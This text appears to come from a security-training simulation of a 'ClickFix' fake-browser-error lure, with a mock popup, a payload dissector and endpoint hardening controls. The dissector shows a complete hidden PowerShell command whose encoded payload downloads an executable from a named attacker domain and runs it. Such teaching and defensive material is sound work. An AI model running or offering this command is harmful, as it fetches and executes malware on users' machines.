1. Social Engineering Lure Simulation
Active: Chrome WebGL/Font Patch
ClickFix attacks bypass email filters by using compromised websites to display fake browser error popups. Victims are socially engineered to paste malicious commands straight into the terminal or Run prompt.
Action Required
Browser Document Viewer Error #0x80041
The "Roboto Medium" font rendering package could not load. To resolve this issue and view the protected document, follow the automated patch steps below:
Clipboard status: Empty
2. Clipboard Telemetry & Payload Dissector
HIDDEN CLIPBOARD INJECTION BUFFER
Base64 Encoded (UTF-16LE)
powershell.exe -w hidden -NoP -NonI -Exec Bypass -enc JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQByAGwAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAGEAbAAtAGMAZABuAC4AdABvAHAvAHAAeQBsAGQALgBlAHgAZQAnADsAJABmAGkAbABlAD0AIgAkAGUAbgB2ADoAVABFAE0AUABcAHUAcABkAGEAdABlAC4AZQB4AGUAIgA7ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHUAcgBsACwAJABmAGkAbABlACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABmAGkAbABlAA==
C2 Domain: mal-cdn.top
Stage 1 Dropper: update.exe (Lumma Stealer / Rhadamanthys)
Execution Mechanism: Run dialog paste (Bypasses Mark-of-the-Web)
3. Endpoint Hardening Policies
GPO / MDM Controls
Execution Policy
Restricted / Block unsigned scripts
Script Block Logging
Event ID 4104 Deep Script Deobfuscation
Clipboard Guard
Alert user on hidden script in buffer
ASR: Block Exec from Run
Attack Surface Reduction Rule 0019
4. Real-time Posture Assessment
Status: Hardened Endpoint
System Posture
Secure
Payload Blocked
true
Infection Risk
Mitigated
Events Detected
3
EDR INCIDENT TELEMETRY STREAM
● Active Monitoring